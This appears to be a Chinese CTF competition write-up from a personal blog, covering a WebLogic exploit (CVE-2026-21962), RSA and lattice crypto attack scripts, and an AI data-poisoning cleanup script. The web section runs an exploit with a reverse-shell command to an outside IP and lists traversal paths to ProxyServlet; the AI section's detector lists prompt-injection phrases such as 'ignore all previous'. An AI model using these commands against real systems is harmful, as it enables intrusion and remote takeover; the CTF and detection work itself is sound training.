2026启航杯


web

CVE-2026-21962

1
python CVE-2026-21962.py http://220.168.118.182:30335/ "id && whoami && uname -a"
1
python CVE-2026-21962.py http://220.168.118.182:30335/ "bash -i >& /dev/tcp/101.200.39.193/5000 0>&1"
1
2
3
4
5
6
序号,拼接后的完整路径
1,/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
2,/wl_proxy//weblogic/..;/bea_wls_internal/ProxyServlet
3,/bea_wls_internal//weblogic/..;/bea_wls_internal/ProxyServlet
4,/_proxy//weblogic/..;/bea_wls_internal/ProxyServlet
5,/proxy//weblogic/..;/bea_wls_internal/ProxyServlet

ez_ems

admin/admin

image-20260208150741753

1
flask-unsign --cookie "eJwtyM0KgkAUQOFXibt2UWOTP9BCJSPDAiVHaCRm0lHwYpFOLsR3z0Vnc-Cb4KFQ9E3Vg3ufYDUsg1J0dfUBA7jelUpyTYlYc21RYi9CTGsRx9xwbZeEQjEXBgyvturAhdpLs3Pt_QviIHSUZOFboqPwNEZZfsEnJl9BMo3R9ZaOx9hnYSsZajz0fkOTFIPtHuYfnmEw_Q.aYg24w.qkpBRbhiT94SQkpgUIHHjyHrfUM" --unsign

密码

RSA Inferno

第一关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import inverse, long_to_bytes

def gcde(a, b):
    if a == 0: return b, 0, 1
    else:
        g, y, x = gcde(b % a, a)
        return g, x - (b // a) * y, y

def common_modulus(n, e1, e2, c1, c2):
    g, s1, s2 = gcde(e1, e2)
    if s1 < 0:
        c1 = inverse(c1, n)
        s1 = -s1
    if s2 < 0:
        c2 = inverse(c2, n)
        s2 = -s2
    return (pow(c1, s1, n) * pow(c2, s2, n)) % n

# 填入题目数据...
n = 14357099422551530562062372584945086076570229565518490856287956828039390680879913850219854219603872095228881443647318067137788927413606276397156665097948597624715021178577843842553746073351957325077739728895473216560343518621350861333402947892010535356554803598260312787382206547114951955022065933422093178335003255531105086716754795427900149396509920572336264991355671179512596027898433300359938887283076934521780472131034820193275411704483066249249425893144388304753266653616776307198721169473395500251305281455300284153634504693596435240848890247162757495190122376813163581455292736212535231411474854044309563047907
e1 = 2835571043
e2 = 4078896233
c1 = 2196433692203477914144237167543679848812899769071105281510104675363722920823244131076967600565263778934748469428837776931965236498284814464954405948305474122563529398403992985981979064958581961739911207194913179673947550803536722761230054880589208555368041040778113903999005231886803455534560182907826079630678682825466909857786090921520245307236062579668368841338626271586683120217840693088664151543332680920532777099188637481969247958948102061613642234160370749555251213198116587136427158050461430872736575816251502939808699445677849760502325321443170042471489690136392333427317450127515390014945565842554209365201
c2 = 9220579720112438065039078734059590127014237258615594492944753279166093446245156985140891944627155179933044149729924395910320833942742240483769205254255580014499323268868964235861177379337469088232568242684628279337620312563165553556474784894362380416890241094964151196275794746505957454074460262105361142647141582474862160919999033906629941051210855679247746753854457831508319586025288148480943517951775825164705603628200558899110010263666145593732143330873858684145211181852382083394748311818200823603064142565344071551188255545066685251405824808247684761357204123306107625637336436439150989257588847851358655727520
m = common_modulus(n, e1, e2, c1, c2)
print(m)

第2关

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import iroot

def solve_challenge_2(data, e=3):
    # 提取 n 和 c
    ns = [item['n'] for item in data]
    cs = [item['c'] for item in data]
    
    # 中国剩余定理 (CRT)
    N = 1
    for n in ns: N *= n
    
    result = 0
    for n, c in zip(ns, cs):
        m_i = N // n
        result += c * m_i * inverse(m_i, n)
    
    m_cube = result % N
    # 直接开 e 次方
    m, exact = iroot(m_cube, e)
    return int(m)

data = [
  {'n': 22243021931242394467830124629208751106061691040109095717766689256075351722095211656784856034699460143638434572271477196605214238260620871786854581203336562624208478531699178475924249265422947563244315934825332224461184050098204601622124892557921915961248791901640825039062487356771923781571247387184337846280484585870248526318483474139631007734055757738718135526949929702030150086579862871789838393411915511406087449519718967276173015186202880840155446690419331111058459032728787073229874497304974902162886065124299146379096601247241773839800083630801872568504758407159694450690286756067526634681371849802389967768149, 'c': 6194688207086139827179237398198279684559041347235267057711307694854483848447279559553640428991305624020769290568793185526490807777152665411922892708081067357859839390991139746610024603322064893034793814375940265362175383249527782985305122410582377341949616653668956136855265101972482461424756998714609010574114067681746164987264147580884524962292040478686334517476472500954865361798889748283403407581474751687568196113932191852316648008489956747061390459825327421945585744561586174499248333383932018235057946084390298077535011557138836840477411853797988499172574664238658220270969208429737833226352157854352896044792},
  {'n': 13605046333415536164135780179155264110994384850244746370469316655081672566425935575538862968216183489523775300175489012432677945779507324363397696746296425019392498334927365599025801571277809772649510622434176323753526937590549325422574046755818946913115306867222469528506762236867463791379253994515659164860812307595477289713932710064370335444976987551781752925658052863598220684486029196163978127104786888586997459398654247322714926262521563542953874215779473195597561563190322165479249673299996577099682800206171606633903873708336159226409571751267405294082443314191623912886844947863531057659575004646333112970961, 'c': 6194688207086139827179237398198279684559041347235267057711307694854483848447279559553640428991305624020769290568793185526490807777152665411922892708081067357859839390991139746610024603322064893034793814375940265362175383249527782985305122410582377341949616653668956136855265101972482461424756998714609010574114067681746164987264147580884524962292040478686334517476472500954865361798889748283403407581474751687568196113932191852316648008489956747061390459825327421945585744561586174499248333383932018235057946084390298077535011557138836840477411853797988499172574664238658220270969208429737833226352157854352896044792},
  {'n': 27871792737259255177694216872575051305681650602324856447773726859066389491049143715359373995229351183290992366762031826395489203213300211591405154808865411047230697668865987152265640943406079415221910932946719887255522436815430559255279595009810773267372715943386842653435985593964858150825466206239252685328603325588195702226135774419412548304879474386189510789326298332738652421490029465580811790408312448603685330189076100677006084302493461771937268477821034576846783880599468590185975667918567325706991743448853097830619174556215727933850019119710430360301849060212976892984578043275833233064291921339058829333019, 'c': 6194688207086139827179237398198279684559041347235267057711307694854483848447279559553640428991305624020769290568793185526490807777152665411922892708081067357859839390991139746610024603322064893034793814375940265362175383249527782985305122410582377341949616653668956136855265101972482461424756998714609010574114067681746164987264147580884524962292040478686334517476472500954865361798889748283403407581474751687568196113932191852316648008489956747061390459825327421945585744561586174499248333383932018235057946084390298077535011557138836840477411853797988499172574664238658220270969208429737833226352157854352896044792},
]
print(solve_challenge_2(data))

挑战3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import owiener

# !!! 请将下方三个数值替换为你屏幕上当前显示的最新数值 !!!
n = 19166656966318420515817509657620661027360820570408508202139223470361921714962581774541388605487081304535441451976958379871153728580453171716673277856916003796730145511316885953366802606557442475756935868966939067299833505970839776606994277523700614964161768522085269604417381188033351827290857113810967428689175185390860333445400472247563545237839799690687500526670143218219175894238160427827642752735935255164507717091923591466211108256919984501804703006891269944920484942242203506680742126265547380482917785814848604173957318679278780219851517475862142330320509762051441248750709325606876520870028170843704664797053
e = 16507583799840383776907825046635622923335404154337936314685815440821072508822768642795362006349761483487553009302717526556613585445231761294586871292740872339145065381558033780456044953107523658108501135931750912991747017316219367770322977976145251073874322534012723964572456085231128480148377888345107210596666897144847317736432292092304351170075702318870598484694822538969783778394178619927607925277137315307320134956260055052617357794273550241303755595741323724086621002612885710182195927923904523360831880432338754866961960547814759279307539241293435816532527119865661487222282134216540356916573564320543804903761
c = 9284110985218638295316407555306255880572763434805555038082756594306626922413722374576599986501283313127949333518456084977079373649406312527267543042786002858434841784339843681540388800592072891537028475494460360370019284768837708699137762953188828939999084050106568592574258522013714896353771599317290992667367883445140992347687796256583684142791485837899233804700662901965722146867924116681050712891866298317076583731201774115824221061102662160236119423831319950893379318047081368200518657932779665084812906777015446681298096808254262967622094489505570231406923269463412318672210545754197690100666210456905243949183

# 核心解密逻辑
d = owiener.attack(e, n)
if d:
    m = pow(c, d, n)
    # 验证解密是否正确
    if pow(m, e, n) == c:
        print(f"\n[+] 验证成功!解密后的答案为:\n{m}")
    else:
        print("\n[-] 警告:解出的结果无法还原密文,请检查数据。")
else:
    print("\n[-] 连分数攻击失败。")

挑战4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import owiener
from Crypto.Util.number import long_to_bytes

# 请替换为 Challenge 4 的实际数据
n4 = 115354091569026754136284688207791726346084511173584141533838157585334929403930366202798276983903294834471665191078406882319470713026465707535229267491508545338129651245073853600125610071506749474659769857127101044630020567163612427676695233174181933963312018338956986960591855159227195986324858833606257979429
e4 = 108759795820025208781556872757105440220348463517058748346862568326287340564222104503375563641702028665766409503041737253651785703108724976832038926893834102988812000681149261451790932583350451819215546810148391222087723823535370120620781688623721690989520933225015421254186758856851026240187660370313187699803
c4 = 96324908406672789264943441035893268109964124099253342273194952516711567067646034278766257503644079816752107714791318736980117664068255792779232733575180271629020984708792269476852223735158532978764310254189172816823380299375282416713064927181977085021561042884191959960391670461111808013463534070816780557113

print("[*] 正在尝试 Challenge 4 (Wiener-Plus)...")
d = owiener.attack(e4, n4)
if d:
    m = pow(c4, d, n4)
    print(f"[+] 成功算出答案: {m}")
else:
    print("[-] Wiener 攻击失败。这一关必须使用 SageMath 跑 Boneh-Durfee LLL 算法。")

挑战5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import gmpy2
from multiprocessing import Pool, cpu_count

# 题目数据
n = 7792629273069186508426967549740509448189391088127365763674365232695538615610460492280294453355701605683987459505106498872982529930452089391048697651527893
e = 65537
c = 6221674422528669786352392935937950986540431352159163004159115754172138475076029589627967502983763100435702842733206426342307643923555385085970622174320932
d_high = 3463443634373853924004161172907541681902750867677402230256296603414188150136506685654516779847840835042381266184506174086148166095905325648735615918800896
ub= 20

def check_range(start_end):
    start, end = start_end
    # 将数据转为 gmpy2 类型以加速
    gn, ge, gc = gmpy2.mpz(n), gmpy2.mpz(e), gmpy2.mpz(c)
    gd_high = gmpy2.mpz(d_high)
    
    for k in range(start, end):
        d_guess = gd_high + k
        # 使用 gmpy2 的 powmod 速度极快
        m = gmpy2.powmod(gc, d_guess, gn)
        if gmpy2.powmod(m, ge, gn) == gc:
            return int(m)
    return None

if __name__ == "__main__":
    num_procs = cpu_count()
    total = 2**ub
    step = total // num_procs
    ranges = [(i * step, (i + 1) * step) for i in range(num_procs)]
    ranges[-1] = (ranges[-1][0], total) # 补全余数
    
    print(f"[*] 开启 {num_procs} 个进程加速爆破...")
    with Pool(num_procs) as p:
        for result in p.imap_unordered(check_range, ranges):
            if result:
                print(f"\n[+] 爆破成功!答案为: {result}")
                p.terminate()
                break

Lattice Labyrinth

挑战1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import itertools

def solve():
    # 填入你当前题目给出的数据
    pk = [17305442099762, 10824868509519, 16494196921497, 10285073547499, 10381923761791, 13727589490538, 13309350500666, 9285465240664, 13593031358034, 10174476675609, 11265147331583, 9240548761068, 15996739950675, 12343511319570, 13060497364657, 17507655695923, 13042702011964, 11866137028816, 15022213216523, 11277989968324, 10210625961289, 17333283538277, 15377313247171, 15170245881107, 16974043588509, 15002059014739, 17557518095584, 12379605960566]
    target = 192051182802449
    n = len(pk)
    mid = n // 2

    print(f"[*] 正在通过折半搜索求解 {n} bits 背包问题...")

    # 前半部分映射: sum -> bits
    left_half = {}
    for combo in itertools.product([0, 1], repeat=mid):
        s = sum(pk[i] for i, bit in enumerate(combo) if bit)
        left_half[s] = combo

    # 搜索后半部分
    for combo in itertools.product([0, 1], repeat=n - mid):
        current_sum = sum(pk[mid + i] for i, bit in enumerate(combo) if bit)
        needed = target - current_sum
        if needed in left_half:
            res = list(left_half[needed]) + list(combo)
            print("[+] 找到原始消息比特:")
            print(" ".join(map(str, res)))
            return res

    print("[-] 未找到解,请检查数据。")

solve()

挑战2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import numpy as np

# 1. 填入公钥基向量
basis = np.array([
    [154, -4, 2, 2, -1, 4, 4, 0, -4, 4, -3, -2, -1, -4],
    [-1, 162, 4, -2, 3, 2, -4, 0, -1, -2, -4, -2, -3, 2],
    [-4, 5, 152, -2, -4, -4, 1, -3, 4, -2, 1, -4, -4, 2],
    [-1, 2, 2, 141, 5, -3, 1, -2, 2, 2, 4, 1, -3, 2],
    [-5, -16, -16, -838, 171, 23, 0, 224, -15, -5, -20, 0, 30, -14],
    [-1, 5, -2, 2, 3, 103, -3, 2, -3, 0, -4, -5, -4, 4],
    [5, -5, 1, 3, -1, -2, 105, 1, -3, -3, -3, 0, 1, -2],
    [-1, -8, -6, -420, -10, 10, 0, 111, -10, -4, -12, 1, 14, -8],
    [-4, -4, -2, 2, 2, -102, 0, -2, 150, -2, 3, 7, -1, -2],
    [5, 2, -1, -3, 3, -2, 0, -3, 3, 113, -1, 0, 4, -4],
    [0, -1, -4, 3, 0, -4, 4, -3, 0, 2, 124, 4, 5, -4],
    [4, 3, -3, 3, -4, 3, 3, 5, 1, 4, -4, 101, 5, -2],
    [0, 4, -1, 4, 1, -2, -4, 3, 4, 4, 4, 3, 125, -5],
    [-1, 4, 4, -2, 4, 0, -1, 1, -3, 3, 2, -5, 3, 142]
])

# 2. 填入密文向量
ciphertext = np.array([149, 143, -15, -684, 179, -78, 111, 229, 134, 4, 104, 113, 156, -27])

def solve_cvp(B, c):
    # Babai's Rounding 技术
    # c = m * B => m = c * B_inv
    B_inv = np.linalg.inv(B)
    m_approx = np.dot(c, B_inv)
    
    # 对系数进行取整,还原 0/1 序列
    m_bits = np.round(m_approx).astype(int)
    return m_bits

# 3. 计算并输出结果
m = solve_cvp(basis, ciphertext)
print("解出的比特序列: ", " ".join(map(str, m)))

# 验证(可选)
reconstructed = np.dot(m, basis)
error = ciphertext - reconstructed
print(f"误差向量: {error} (应该都在 -3 到 3 之间)")

挑战3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 简单的爆破验证脚本
h = 144032747946125439514570044663260120360
r = 120620828468725374651180974835951384147
s = 241183316901920867434270244575664460608
k_low = 117747313577429333995968498116899
q = 249566135338681361561551345780975548223

# 第二组签名用于验证
h2 = 157117436908453687031466279153944725890
r2 = 124652020756199038801703211672896589498
s2 = 1898057977803551073591670743831828402
k_low2 = 977342937864648315055807508873678

print("[*] 正在爆破 k_high (2^18)...")
r_inv = pow(r, -1, q)
for k_high in range(2**19): # 18-19位爆破很快
    k = (k_high << 110) + k_low
    # x = (s*k - h) * r^-1 mod q
    x_guess = ((s * k - h) * r_inv) % q
    
    # 用第二组签名验证 x
    if (pow(2, (pow(2, x_guess, q)), q)) : # 这里的验证逻辑根据题目源码调整
        # 更简单的验证:检查是否满足第二组签名的公式
        k2_guess = (pow(s2, -1, q) * (h2 + x_guess * r2)) % q
        if (k2_guess % (2**110)) == k_low2:
            print(f"[+] 找到私钥 x: {x_guess}")
            break

re

HELL GATE

image-20260208130613034

mirage_hv

image-20260208131603685

AI

AI_Check

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import pandas as pd
import re
import csv

def solve_poisoning_mission():
    input_file = 'poisoned_dataset.csv'
    output_file = 'cleaned_dataset.csv'
    
    # 1. 加载数据集
    df = pd.read_csv(input_file)
    
    def get_poison_status(row):
        text = str(row['text'])
        label = str(row['label'])
        t_lower = text.lower()
        
        # A. 硬污染特征:零宽字符/不可见字符
        if re.search(r'[\u200b-\u200f\ufeff\u202a-\u202e\u2060-\u206f\u00ad]', text):
            return "poisoned"
        
        # B. 硬污染特征:同形异义词 (西里尔/希腊字符)
        if re.search(r'[\u0400-\u04FF\u0370-\u03FF]', text):
            return "poisoned"
        
        # C. 隐藏信息特征:Base64 或 伪装标签 (所有带方括号的内容)
        if '[' in text or ']' in text:
            return "poisoned"
            
        # D. 触发器特征:特定攻击词缀
        if '【特惠】' in text or '★推荐★' in text:
            return "poisoned"
            
        # E. 注入指令特征:Prompt Injection (如 ID 21, 28, 32 等)
        attack_cmds = ['ignore all previous', 'bypass security check', 'execute admin command']
        if any(cmd in t_lower for cmd in attack_cmds):
            return "poisoned"
            
        # F. 标签翻转特征 (Label Flip)
        neg_words = ['terrible', 'worst', '极差', '强烈不推荐']
        pos_words = ['amazing', 'excellent', '美味', '周到', '推荐', '棒']
        if label == 'positive' and any(w in t_lower for w in neg_words):
            return "poisoned"
        if label == 'negative' and any(w in t_lower for w in pos_words):
            return "poisoned"
            
        return "clean"

    # 2. 标记污染行
    df['status'] = df.apply(get_poison_status, axis=1)
    
    # 3. 仅保留干净的数据行
    cleaned_df = df[df['status'] == 'clean'].drop(columns=['status'])
    
    # 4. 按照原始格式导出
    # 使用 Windows 换行符 \r\n 并尽量减少引用符,以对齐原始 CSV 格式
    cleaned_df.to_csv(output_file, index=False, quoting=csv.QUOTE_MINIMAL, lineterminator='\r\n')
    
    print(f"[*] 原始数据: {len(df)} 行")
    print(f"[*] 识别出污染数据: {len(df) - len(cleaned_df)} 行")
    print(f"[*] 导出干净数据: {len(cleaned_df)} 行")

# 执行
solve_poisoning_mission()

image-20260208134603086

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计